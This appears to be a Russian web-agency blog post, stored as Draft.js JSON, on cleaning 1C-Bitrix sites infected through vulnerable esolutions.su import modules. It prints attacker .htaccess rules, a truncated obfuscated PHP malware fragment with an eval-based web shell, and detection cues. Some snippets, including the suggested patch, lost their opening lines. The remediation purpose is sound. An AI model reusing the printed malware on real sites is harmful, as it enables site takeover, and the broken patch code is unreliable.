{"draftJsState":{"blocks":[{"data":{"image":{"id":"696e4cb6a22ac2671f8c2338"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"chudl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В феврале 2025 года владельцы сайтов, использующих решения компании-разработчика esolutions.su, проснулись с неприятной новостью: сайты начали вести себя странно. Одни внезапно отправляли посетителей в онлайн-казино, другие перестали открываться вовсе. Кто-то видел белый экран, кто-то 403-ю ошибку в админке.","type":"blockquote","key":"17ce"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Позже стало ясно - это уязвимость в модуле «Импорт из XML, YML, JSON». Разбираемся, что это за баг, как он работает, чем грозит и, самое главное, что делать.","type":"unstyled","key":"bdsoa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Коротко о том, что случилось и почему это важно","type":"header-two","key":"572sc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как мы указали выше, уязвимость была у поставщика сторонних решений для системы управления сайтом (CMS) 1С-Битрикс в модуле импорта/экспорта Excel/XML. Через неё злоумышленники получали возможность загрузить на сервер вредоносные скрипты, которые могли:","type":"unstyled","key":"5forr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"встраивать вредоносный код в файлы;","type":"unordered-list-item","key":"f0b9t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"подменять index.php в отдельных каталогах;","type":"unordered-list-item","key":"979r0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"внедрять свои .htaccess для редиректов;","type":"unordered-list-item","key":"96dt5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"создавать каталоги с рандомными именами (1a869/, a410f/) с подменёнными index.php;","type":"unordered-list-item","key":"570bk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"внедрять siteheads.php внутри некоторых папок и иногда в папку assets/images/ в корне сайта.","type":"unordered-list-item","key":"76jd5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":215,"style":"BOLD"}],"text":"Если на одном хостинге живёт несколько сайтов на разных системах управления сайтом (CMS), заражение может быстро распространиться через общие FTP-доступы и слабые учётные записи. Именно поэтому при множестве сайтов лечение часто начинают с WordPress - они оказываются «нулевыми пациентами».","type":"unstyled","key":"53hlu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как понять, что сайту нужна помощь?","type":"header-two","key":"buk83"},{"data":{"image":{"id":"693bc7db520a86197e8b7a38"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"1hfu6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если вы увидите хоть что-то из списка, надо действовать немедленно:","type":"unstyled","key":"6lchj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":51,"offset":21,"style":"BOLD"}],"text":"при заходе на сайт - редирект на казино, игровые или фишинговые страницы;","type":"unordered-list-item","key":"bnp6q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":11,"offset":13,"style":"BOLD"}],"text":"вместо сайта белый экран;","type":"unordered-list-item","key":"36k7n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":61,"style":"BOLD"}],"text":"админка открывает только главную, а при переходе в разделы - 403 Forbidden;","type":"unordered-list-item","key":"ceqsi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"в корне появились файлы вроде wp-ver.php, siteheads.php или изменённый index.php;","type":"unordered-list-item","key":"3hbft"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"в корне или в /bitrix/ - папки с случайными именами (1a869/, a410f/) с подменёнными index.php;","type":"unordered-list-item","key":"bko6c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"вирус создаёт собственный .htaccess;","type":"unordered-list-item","key":"s0cp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"появляются папки assets/images/ в корне сайта, содержащие не ваши изображения.","type":"unordered-list-item","key":"1kinl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пример кода .htaccess, который часто клали вирусы:","type":"unstyled","key":"all6p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"blockquote","key":"7utk2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Order allow,deny","type":"blockquote","key":"pppp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Deny from all","type":"blockquote","key":"b9aav"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"blockquote","key":"76db9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"blockquote","key":"63mrm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Order allow,deny","type":"blockquote","key":"j4re"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Allow from all","type":"blockquote","key":"6ke8a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"blockquote","key":"b6ti1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"blockquote","key":"fs88m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RewriteEngine On","type":"blockquote","key":"7had8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RewriteBase /","type":"blockquote","key":"6i7dv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RewriteRule ^index.php$ - [L]","type":"blockquote","key":"1r3je"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RewriteCond %{REQUEST_FILENAME} !-f","type":"blockquote","key":"8tbfn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RewriteCond %{REQUEST_FILENAME} !-d","type":"blockquote","key":"857qk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RewriteRule . index.php [L]","type":"blockquote","key":"6ef1c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"blockquote","key":"32uud"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пример обфусцированного кода в index.php:","type":"unstyled","key":"f01n9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"^I{~H~D{A,C-Ox>-*/=","type":"blockquote","key":"cuu26"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/*-2&bt^&]Y.O-*","type":"blockquote","key":"7de1d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/$DJA/*-@>gV&i@UUO}W>-*/(/*-<^:!k67PVG4$|N@Nkm-*/\"~\",/*-H~_c9W1Fd[o,ge.QU5-*/","type":"blockquote","key":"840io"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\" \");/*-0dG%CPX~k","type":"blockquote","key":"5rvrr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"DLa-*/$pP/*-F?-hU~i&t%|{f-*/=/*->-3b7Whq0Ye%:-*/${$eV[30+1]/*-3~ub~8yeKWm)|-*","type":"blockquote","key":"26scb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/.$eV[40+19].","type":"blockquote","key":"7k71k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/*-|UMk$+9y-*/$eV[12+35].$eV[21+26]./*-`rO~!yr5|s`jRGu-*/$eV[25+26].$eV[5+48]","type":"blockquote","key":"dfv1v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":".$eV/*-y~J&!:?EEm0mx","type":"blockquote","key":"5k7lp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"6ksvn?-*/[38+19]};","type":"blockquote","key":"866kq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/*-rt|gts~zht-*/if(/*-J8@$p3td3|@%E-*/(in_array/*-mqlN(M&a]hB-*/(gettype/*-S9","type":"blockquote","key":"dcklm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"J","type":"blockquote","key":"8flun"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"ka|z-;}C,t%^D^-Xym","type":"blockquote","key":"a632d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"nM2-*/($pP)==(2+26))){(($pP[19+44]=$pP[45+18].$pP[5+69])/*-4z43v]fDv.zxca(a$}","type":"blockquote","key":"9gmkl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"-*/&&/*-3j$>6Uzxqux)","type":"blockquote","key":"2g2ua"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Yrv-*/@eval/*-uJ)fh}M75;K>|5-*/($pP[19+44](${$pP[10+33]}[15+15])));}/*-Iuomav","type":"blockquote","key":"2ss3j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"-*/class /*-}y#w-*/g{","type":"blockquote","key":"v3g4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/*-CYIaC%-*/static/*-o.c1HhPf$-*/ function /*-$@;j-*/yChq($hCH)","type":"blockquote","key":"dilop"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/*-OAA=R4?x6-*/{ $ZH/*-_)7Ge^z-*/","type":"blockquote","key":"13e3r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"=","type":"blockquote","key":"77n9p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/*-B5p){P!%+-*/\"r\"./*-_h-*/\"a\"./*-R`ZIM6-*/\"n\"./*-$@mbZr-*/\"g\"./*-1_v81-*/\"e\"","type":"blockquote","key":"eaa8j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"; /*--j$cbv-*/$FwiSXK","type":"blockquote","key":"9k9mi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/*-M(c:}d-*/ = /*-}1(AD-*/$ZH/*-#x-*/(/*-6>-*/\"~\"/*-J-{-*/, /*-S_-*/\"","type":"blockquote","key":"33s4q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\"/*-(HM-*/);/*-YZ|-*/ $RrpZEzLD","type":"blockquote","key":"54s81"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"....","type":"blockquote","key":"267as"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Обфускация (base64, goto и прочая «завуалировка») - классический приём, чтобы затруднить обнаружение и автоматическую очистку.","type":"unstyled","key":"9l8en"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Перед началом - самое важное правило","type":"header-two","key":"5hggp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":62,"offset":0,"style":"BOLD"}],"text":"Не делайте «быстрых» правок на живом сайте, не сохранив бэкап. Даже заражённую копию сохраняйте: она пригодится для анализа, сравнения файлов и восстановления, если что-то пойдёт не так.","type":"unstyled","key":"2jfcl"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":17,"offset":97}],"inlineStyleRanges":[],"text":"Если у вас нет надёжной резервной копии, заведите её прямо сейчас. У нас в MediaMint есть услуга «Страховка сайта» - автоматические бэкапы в облако, хранение вне хостинга и быстрая откатная точка.","type":"blockquote","key":"aipq7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пошаговое лечение - полная инструкция","type":"header-two","key":"20rc5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 0. Если на хостинге несколько сайтов, лечите WP первыми","type":"header-three","key":"3s4ed"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"WP-сайты чаще «заражаются первыми». Поэтому если на одном сервере есть WordPress и другие системы управления сайтом (CMS), начните именно с WP.","type":"unstyled","key":"e3dv5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 1. Сделать полную резервную копию (файлы + БД)","type":"header-three","key":"9itkc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сделайте архив файлов сайта и дамп базы данных.","type":"unordered-list-item","key":"3ilf0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сохраните копию вне сервера (локально или в облаке).","type":"unordered-list-item","key":"ah4lq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Файлы с вирусом пригодятся для анализа и при необходимости судебного/фрод-расследования.","type":"unordered-list-item","key":"bkej0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 2. Через FTP удалите заражённые .htaccess, чтобы попасть в админку","type":"header-three","key":"ap4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Удалите (или временно переименуйте):","type":"unstyled","key":"5n0j3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/.htaccess","type":"blockquote","key":"9ojb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/.htaccess","type":"blockquote","key":"acdrt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/admin/.htaccess","type":"blockquote","key":"2vokn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Это часто даёт доступ в админку и перестаёт перенаправлять трафик.","type":"unstyled","key":"a59vs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Примечание: делайте это через FTP/SFTP/SSH - не через браузер-редактор файлов на хостинге (он может сохранять кеши и поведение).","type":"unstyled","key":"do03c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 3. Проверяем и удаляем заражённый агент","type":"header-three","key":"bsvcl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Дальше - проверка агентов (скриптов, которые запускаются по расписанию внутри Битрикса).","type":"unstyled","key":"cc1gd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":18,"offset":147,"style":"BOLD"}],"text":"Если удаётся войти в админку, откройте Настройки → Настройки продукта → Агенты и внимательно посмотрите список агентов. Если видите нечто похожее, удаляем немедленно:","type":"unstyled","key":"dj87b"},{"data":{"image":{"id":"693bc7dba6b393330692468b"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"1nbsc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":21,"style":"BOLD"}],"text":"Обратите внимание на номер 1 - вирусы почти всегда прописывают себя под ID 1 для гарантированного запуска при каждом обращении к сайту.","type":"unstyled","key":"8buul"},{"data":{},"depth":0,"entityRanges":[{"key":1,"length":9,"offset":193}],"inlineStyleRanges":[],"text":"Если в админку попасть не удалось, удаляем заражённый агент через API. Для этого используем стандартный инструмент API CMS (например, для системы управления сайтом (CMS) 1С-Битрикс подробности в справке).","type":"unstyled","key":"5q3t4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Есть и альтернативный способ: откройте файл /bitrix/php_interface/dbconn.php и добавьте строку","type":"unstyled","key":"81q20"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"define(\"NO_AGENT_CHECK\", true);","type":"blockquote","key":"6qfe5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Эта настройка временно отключает выполнение всех агентов. После добавления перезагрузите сервер, чтобы изменения вступили в силу. Это поможет остановить работу вредоносного агента и очистить систему.","type":"unstyled","key":"6km4n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 4. Проверяем bx_root.php","type":"header-three","key":"8luip"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь идём в /bitrix/modules/main/bx_root.php. В идеале, содержимое этого файла должно быть таким:","type":"unstyled","key":"fp720"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" \"\")","type":"blockquote","key":"fetip"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"define(\"BX_PERSONAL_ROOT\", $_SERVER[\"BX_PERSONAL_ROOT\"]);","type":"blockquote","key":"a7s4v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"else","type":"blockquote","key":"f30e7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"define(\"BX_PERSONAL_ROOT\", BX_ROOT);","type":"blockquote","key":"cp6hp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"?>","type":"blockquote","key":"4q3rm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если видите какие-то непонятные строки, особенно с eval, base64_decode, goto или просто хаотичные символы, файл заражён, и его нужно заменить на оригинальный.","type":"unstyled","key":"acc9u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 5. Использовать встроенный модуль «Поиск троянов»","type":"header-three","key":"oq5r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В 1С-Битрикс есть инструмент сканирования:","type":"unstyled","key":"4qj6r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/admin/xscan_system.php","type":"unstyled","key":"5g05m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запустите «Поиск троянов».","type":"unordered-list-item","key":"b73kv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":35,"offset":12,"style":"BOLD"}],"text":"По итогам - скопируйте список заражённых файлов и просмотрите вручную перед удалением.","type":"unordered-list-item","key":"8on74"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Удаляйте/исправляйте заражённые файлы согласно отчёту.","type":"unordered-list-item","key":"7l8fa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Важно: антивирусный модуль может пометить «подозрительными» и кастомные скрипты, проверяйте руками, чтобы не удалить рабочие файлы.","type":"blockquote","key":"2ki7n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 6. Сканирование и анализ файлов (доп. способы)","type":"header-three","key":"14g9k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если сайт на выделенном или локальном сервере, пройдитесь дополнительными сканерами:","type":"unstyled","key":"cp4tl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"AI-Bolit - поиск вирусных вставок и обфусцированного кода;","type":"unordered-list-item","key":"d6r3u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"ClamAV - классический антивирус для Linux.","type":"unordered-list-item","key":"b1stv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Эти инструменты часто находят скрытые вставки и скрипты, которые не видны поверхностно.","type":"unstyled","key":"b84k5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 7. Пересобрать/восстановить стандартный .htaccess","type":"header-three","key":"dlvfr"},{"data":{},"depth":0,"entityRanges":[{"key":2,"length":37,"offset":138}],"inlineStyleRanges":[],"text":"После очистки замените .htaccess на стандартный «чистый» шаблон Битрикс (или тот, который был у вас до инцидента). Можете воспользоваться дефолтным .htaccess на сайте Битрикса.","type":"unstyled","key":"9qm7c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":0,"style":"BOLD"}],"text":"Шаг 8. Очистка кеша","type":"header-three","key":"afa3b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":42,"offset":11,"style":"BOLD"}],"text":"В админке: Настройки → Автокеширование → Очистить кеш.\nЕсли возникли проблемы, удалите вручную:","type":"unstyled","key":"3ba26"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/manage_cache/","type":"blockquote","key":"51q4r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/cache/","type":"blockquote","key":"2f72k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Без этой очистки сайт может продолжать показывать старые, заражённые страницы.","type":"unstyled","key":"6cdgm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":0,"style":"BOLD"},{"length":4,"offset":59,"style":"BOLD"}],"text":"Шаг 9. Обновление - ядро, модули, язык программирования PHP/SQL","type":"header-three","key":"fnc13"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Обновите систему управления сайтом (CMS) до последней версии.","type":"unordered-list-item","key":"d813m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Особое внимание уделите обновлению модулей, в которых были уязвимости (список ниже).","type":"unordered-list-item","key":"56t22"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Обновите язык программирования PHP и систему управления базами данных MySQL (поддерживаемые версии).","type":"unordered-list-item","key":"66vg3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После обновления проверьте логи на предмет повторных попыток.","type":"unordered-list-item","key":"6hd76"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":43,"offset":0,"style":"BOLD"}],"text":"Шаг 10. Повторное сканирование и мониторинг","type":"header-three","key":"2rq4m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Повторно запустите «Поиск троянов».","type":"unordered-list-item","key":"amiqv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запустите AI-Bolit/ClamAV.","type":"unordered-list-item","key":"ccqp0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Включите мониторинг целостности файлов (например, cron-скрипт, который сверяет контрольные суммы и шлёт уведомления при изменениях).","type":"unordered-list-item","key":"eogll"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Встроенные и дополнительные инструменты защиты для WP (и рекомендации)","type":"header-two","key":"fdmbb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если у вас есть WordPress-сайты (часто - первичный источник заражения), сделайте следующее:","type":"unstyled","key":"ds6kr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":10,"style":"BOLD"}],"text":"регулярно меняйте пароли;","type":"unordered-list-item","key":"dkr0d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":85,"offset":8,"style":"BOLD"}],"text":"держите актуальную версию языка программирования PHP и системы управления базами данных MySQL;","type":"unordered-list-item","key":"3ncvc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"обновляйте ядро WP и плагины;","type":"unordered-list-item","key":"2m533"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"установите капчу на форму авторизации (например, плагин Captcha);","type":"unordered-list-item","key":"emedd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"используйте защитные плагины (при корректной настройке они реально помогают):","type":"unordered-list-item","key":"bmu0g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":18,"offset":0,"style":"BOLD"}],"text":"Wordfence Security (наша рекомендация).","type":"unordered-list-item","key":"5d040"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"AntiVirus.","type":"unordered-list-item","key":"6c7gp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":15,"offset":0,"style":"BOLD"}],"text":"Sucuri Security.","type":"unordered-list-item","key":"9a8tr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ссылки (для установки):","type":"unstyled","key":"decqg"},{"data":{},"depth":0,"entityRanges":[{"key":3,"length":38,"offset":0}],"inlineStyleRanges":[],"text":"https://wordpress.org/plugins/captcha/","type":"unordered-list-item","key":"58neu"},{"data":{},"depth":0,"entityRanges":[{"key":4,"length":40,"offset":0}],"inlineStyleRanges":[],"text":"https://wordpress.org/plugins/wordfence/","type":"unordered-list-item","key":"8512q"},{"data":{},"depth":0,"entityRanges":[{"key":5,"length":40,"offset":0}],"inlineStyleRanges":[],"text":"https://wordpress.org/plugins/antivirus/","type":"unordered-list-item","key":"4vpvt"},{"data":{},"depth":0,"entityRanges":[{"key":6,"length":45,"offset":0}],"inlineStyleRanges":[],"text":"https://wordpress.org/plugins/sucuri-scanner/","type":"unordered-list-item","key":"6ne4t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Список модулей и их устаревших версий, содержащих уязвимость","type":"header-two","key":"c3i5t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если у вас установлены устаревшие модули сторонних разработчиков для системы управления сайтом (CMS), срочно обновитесь или отключите их.","type":"unstyled","key":"c8iei"},{"data":{},"depth":0,"entityRanges":[{"key":7,"length":33,"offset":88}],"inlineStyleRanges":[],"text":"Полный перечень устаревших решений для 1С-Битрикс размещен на сайте вендора по ссылке - https://www.1c-bitrix.ru/vul_dev/ .","type":"unstyled","key":"6re66"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как быстро закрыть уязвимости модулей esolutions.su?","type":"header-two","key":"7hjjf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ниже код, который нужно разместить в начале файлов модулей - это общий и безопасный способ прекратить произвольное исполнение:","type":"unstyled","key":"d952v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" 0)","type":"blockquote","key":"f321g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"{","type":"blockquote","key":"cemlj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"header((stristr(php_sapi_name(), 'cgi') !== false ? 'Status: ' : $_SERVER['SERVER_PROTOCOL'].' ').'403 Forbidden');","type":"blockquote","key":"8irmv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"die();","type":"blockquote","key":"84lrp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"}","type":"blockquote","key":"e3m5f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"?>","type":"blockquote","key":"5q610"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":64,"offset":0,"style":"BOLD"}],"text":"Этот код нужно разместить в начале файлов модулей esolutions.su:","type":"unstyled","key":"oln9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/modules/kda.importexcel/admin/iblock_import_excel_cron_settings.php","type":"unordered-list-item","key":"au77d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/modules/kda.exportexcel/admin/iblock_export_excel_cron_settings.php","type":"unordered-list-item","key":"e97ro"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/modules/esol.importexportexcel/admin/iblock_import_excel_cron_settings.php","type":"unordered-list-item","key":"19f2s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/modules/esol.importexportexcel/admin/iblock_export_excel_cron_settings.php","type":"unordered-list-item","key":"5enmv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/modules/esol.importxml/admin/import_xml_cron_settings.php","type":"unordered-list-item","key":"94k4j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/modules/esol.massedit/admin/profile.php","type":"unordered-list-item","key":"7bnit"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/modules/esol.allimportexport/admin/cron_settings.php","type":"unordered-list-item","key":"eof7i"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Когда и зачем обращаться к профессионалам?","type":"header-two","key":"e303e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если после описанных шагов сайт продолжает странно себя вести (новые файлы появляются, админка недоступна, редиректы возвращаются), нужно собирать команду. Частые проблемы: скрытые бекдоры, злонамеренные cron-задачи, доступы, сохранённые в хостинге, которые не видны на первый взгляд.","type":"unstyled","key":"f47gl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Наша команда в короткие сроки сделает для вас:","type":"unstyled","key":"epscd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"аудит и полный разбор заражения;","type":"unordered-list-item","key":"b8105"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"очистку файлов и восстановление сайта из чистой копии;","type":"unordered-list-item","key":"6b71m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"установку длительной защиты: мониторинг, контроль целостности, бэкап, ограничение доступов;","type":"unordered-list-item","key":"4r5b3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"консультацию по 